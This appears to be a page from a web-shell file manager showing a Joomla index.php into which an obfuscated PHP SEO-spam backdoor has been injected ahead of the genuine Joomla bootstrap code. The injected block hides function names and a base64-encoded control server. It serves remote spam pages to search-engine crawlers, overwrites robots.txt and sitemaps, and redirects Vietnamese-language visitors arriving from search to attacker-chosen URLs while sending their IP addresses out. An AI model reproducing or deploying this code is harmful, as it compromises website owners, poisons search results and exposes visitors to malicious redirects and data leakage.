OwlCyberSecurity - MANAGER

Edit File: index.php

<?php $GLOBALS["fbSlqxQ"]="in_array";$GLOBALS["inkHGnJ"]="explode";$GLOBALS["wayWGrQ"]="rand";$GLOBALS["wUzWliQ"]="file_get_contents";$GLOBALS["YkagIgv"]="error_reporting";$GLOBALS["XIYHbfQ"]="base64_decode";$GLOBALS["XVkBVWQ"]="strtolower";$GLOBALS["tgpSFfv"]="substr";$GLOBALS["WxzQcsJ"]="strpos";$GLOBALS["dtsLTXQ"]="header";$GLOBALS["VSOwglQ"]="stripos";$GLOBALS["uiHlPZJ"]="rtrim";$GLOBALS["cvGnYFJ"]="is_writable";$GLOBALS["VCCJZxQ"]="dirname";$GLOBALS["WAvweiJ"]="file_put_contents";$GLOBALS["dDURbtv"]="preg_match";$GLOBALS["ipRFHjv"]="time";$GLOBALS["qpjYwYJ"]="str_replace";$GLOBALS["XAWenZv"]="chr";$GLOBALS["mYHvDFJ"]="base64_encode";$GLOBALS["vPtFzPQ"]="strlen";$GLOBALS["qlsrsVJ"]="trim";$GLOBALS["UDSLTpQ"]="preg_replace";@set_time_limit(0);$GLOBALS["YkagIgv"](0);$timeout=5;$TD_server="aHR0cDovL2JpZ2dpcmwuaGFpcg==";$TD_server=$GLOBALS["XIYHbfQ"]($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?$GLOBALS["XVkBVWQ"]($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?$GLOBALS["XVkBVWQ"]($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?$GLOBALS["XVkBVWQ"]($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode($GLOBALS["XVkBVWQ"]($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');ob_clean();if($GLOBALS["tgpSFfv"]($request,-4)===".xml"){if($GLOBALS["WxzQcsJ"]($request,'sub')!==false){$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}else{$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,20,$user_agent,$referer);}if($response!==false&&$response[0]==200){$GLOBALS["dtsLTXQ"]('Content-Type: application/xml; charset=utf-8');echo $response[1];}exit;}else if($GLOBALS["VSOwglQ"]($request,'robots.txt')!==false){$robots_path=$_SERVER['DOCUMENT_ROOT']. '/robots.txt';$robotsTxtContent="User-agent: * ";$robotsTxtContent .="Allow: / ";$robotsTxtContent .="Sitemap: " .$http_type. '://' .$GLOBALS["uiHlPZJ"]($host,'/'). "/" . "inx_sitemap.xml ";if($GLOBALS["cvGnYFJ"]($GLOBALS["VCCJZxQ"]($robots_path))){$GLOBALS["WAvweiJ"]($robots_path,$robotsTxtContent);}$GLOBALS["dtsLTXQ"]('Content-Type: text/plain');echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if($GLOBALS["dDURbtv"]($image_pattern,$request)){exit;}if($GLOBALS["dDURbtv"]('/google|coccoc|bingbot|Y!J/i',$user_agent)){$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$timeout,$user_agent,$referer);if($response!==false){if($response[0]==200&&!empty($response[1])){http_response_code(200);$GLOBALS["dtsLTXQ"]('Cache-Control: max-age=31536000');$GLOBALS["dtsLTXQ"]('Expires: ' . gmdate('D, d M Y H:i:s',$GLOBALS["ipRFHjv"]()+31536000). ' GMT');$GLOBALS["dtsLTXQ"]('X-Content-Type-Options: nosniff');$GLOBALS["dtsLTXQ"]('Vary: Accept-Encoding');$GLOBALS["dtsLTXQ"]('Access-Control-Expose-Headers: Content-Length');$GLOBALS["dtsLTXQ"]('Content-Type: text/html; charset=UTF-8');echo $response[1];exit;}else{if(!empty($response[1])){$json_data=$GLOBALS["qpjYwYJ"](array($GLOBALS["XAWenZv"](239),$GLOBALS["XAWenZv"](187),$GLOBALS["XAWenZv"](191)," "," "," "," "),'',$response[1]);$item_data=json_decode($json_data,true);$name=urlencode($item_data['name']);$id=$item_data['id'];if(!empty($name)){$spider_result=spider($name);}}}if(isset($spider_result)&&$spider_result!=false&&isset($id)){$data=array('id'=>$id,'spider_url'=>$spider_result[0],'html_text'=>$spider_result[1]);}else{$id=isset($id)?$id:0;$data=array('id'=>$id,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if($GLOBALS["WxzQcsJ"]($referer,'google')!==false||$GLOBALS["WxzQcsJ"]($referer,'coccoc')!==false||$GLOBALS["WxzQcsJ"]($referer,'bing')!==false){if(judgeLanguage()==1){$client_ip=$GLOBALS["mYHvDFJ"](get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$timeout,$user_agent,$referer);if($response!==false&&$response[0]==200&&$GLOBALS["vPtFzPQ"]($response[1])>5){$tzurl=$GLOBALS["qlsrsVJ"]($response[1]);$tzurl=$GLOBALS["UDSLTpQ"]('/[^\x20-\x7E]/','',$tzurl);$tzurl=$GLOBALS["qlsrsVJ"]($tzurl," \"'`");$tzurl=$GLOBALS["UDSLTpQ"]('/^\s+|\s+$/','',$tzurl);@$GLOBALS["dtsLTXQ"]("Location: " . $tzurl);exit;}}}function curl_request($url,$timeout=10,$ua='',$referer=null){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=$GLOBALS["wayWGrQ"](1,254). '.' .$GLOBALS["wayWGrQ"](1,254). '.' .$GLOBALS["wayWGrQ"](1,254). '.' .$GLOBALS["wayWGrQ"](1,254);$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$url,CURLOPT_HTTPHEADER=>$headerArr,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_USERAGENT=>$ua,CURLOPT_FOLLOWLOCATION=>1,CURLOPT_AUTOREFERER=>1,CURLOPT_ENCODING=>"gzip",CURLOPT_HTTPGET=>1,CURLOPT_TIMEOUT=>$timeout,CURLOPT_HEADER=>0,CURLOPT_RETURNTRANSFER=>1,CURLOPT_REFERER=>$referer]);$output=curl_exec($curl);if(curl_errno($curl)){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. " " . "Referer: " .$referer. " ",'timeout'=>$timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@$GLOBALS["wUzWliQ"]($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];$GLOBALS["dDURbtv"]('/HTTP\/\d\.\d (\d{3})/',$http_response_header[0],$matches);$httpcode=isset($matches[1])?(int)$matches[1]:0;return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt_array($curl,[CURLOPT_URL=>$url,CURLOPT_HEADER=>0,CURLOPT_USERAGENT=>$ua,CURLOPT_POST=>true,CURLOPT_POSTFIELDS=>http_build_query($postData),CURLOPT_RETURNTRANSFER=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_TIMEOUT=>10,CURLOPT_HTTPHEADER=>['Content-Type: application/x-www-form-urlencoded; charset=UTF-8','Accept: application/json']]);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$ua. " ",'content'=>$postData,'timeout'=>10],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@$GLOBALS["wUzWliQ"]($url,false,$context);return $response;}}function judgeLanguage(){global $lang;if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=$GLOBALS["inkHGnJ"](',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);foreach($languages as $language){$cleanLang=$GLOBALS["XVkBVWQ"]($GLOBALS["qlsrsVJ"]($language));$langCode=$GLOBALS["tgpSFfv"]($cleanLang,0,2);if($langCode===$lang){return 1;}}}return 0;}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .$GLOBALS["wayWGrQ"](1,100),'Mozilla/' .$GLOBALS["wayWGrQ"](3,5). '.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["wayWGrQ"](50,60). ') Gecko/20100101 Firefox/' .$GLOBALS["wayWGrQ"](1,100),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["wayWGrQ"](50,60). ') AppleWebKit/' .$GLOBALS["wayWGrQ"](500,600). '.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["wayWGrQ"](50,60). '.0.3112.90 Safari/' .$GLOBALS["wayWGrQ"](500,600). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["wayWGrQ"](13,16). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["wayWGrQ"](90,100). '.0.4430.212 Safari/537.36 Edg/' .$GLOBALS["wayWGrQ"](90,100). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["wayWGrQ"](90,100). '.0.4430.212 Safari/537.36 OPR/' .$GLOBALS["wayWGrQ"](76,86). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .$GLOBALS["wayWGrQ"](8,12). '.0; SM-G9' .$GLOBALS["wayWGrQ"](5,9). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["wayWGrQ"](90,100). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .$GLOBALS["wayWGrQ"](14,16). '_' .$GLOBALS["wayWGrQ"](0,5). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["wayWGrQ"](14,16). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function get_client_ip(){$ip_keys=array('HTTP_X_FORWARDED_FOR','HTTP_X_REAL_IP','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach($GLOBALS["inkHGnJ"](',',$_SERVER[$key])as $ip){$ip=$GLOBALS["qlsrsVJ"]($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){if($key==='REMOTE_ADDR'){return $ip;}if(!is_private_ip($ip)){return $ip;}}}}}return 'unknown';}function is_private_ip($ip){return!filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE);}function spider($name){global $timeout;$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if($GLOBALS["fbSlqxQ"]($GLOBALS["XVkBVWQ"]($file_extension),$non_web_extensions)){continue 1;}if($GLOBALS["VSOwglQ"]($href,'youtube.com')!==false||$GLOBALS["VSOwglQ"]($href,'twitter.com')!==false||$GLOBALS["VSOwglQ"]($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$timeout,$googleua,$href);if($spider_html!==false&&$spider_html[0]==200){$htmltext=$GLOBALS["qlsrsVJ"]($spider_html[1]);if($GLOBALS["vPtFzPQ"]($htmltext)>2000){return[$href,$htmltext];}}}return false;}function spider_search($name){global $timeout;$search_urls=["google"=>"https://www.google.com/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?p=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,$timeout,'',$url);if($result!==false&&$result[0]===200){$dom=new DOMDocument();@$dom->loadHTML($result[1],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=$GLOBALS["VSOwglQ"]($href,'https://');$urlPos=$GLOBALS["VSOwglQ"]($href,'/url?');if($httpsPos!==false&&$GLOBALS["WxzQcsJ"]($href,'google')===false&&$urlPos===0){$hrefArray[]=$GLOBALS["tgpSFfv"]($href,$httpsPos);}}else if($href&&$domain=='aol'){if($GLOBALS["dDURbtv"]('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=$GLOBALS["tgpSFfv"]($matches[1],0,-4);if($GLOBALS["WxzQcsJ"]($httpsPart,'aol.com')===false&&$GLOBALS["WxzQcsJ"]($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;} ?> <?php /** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();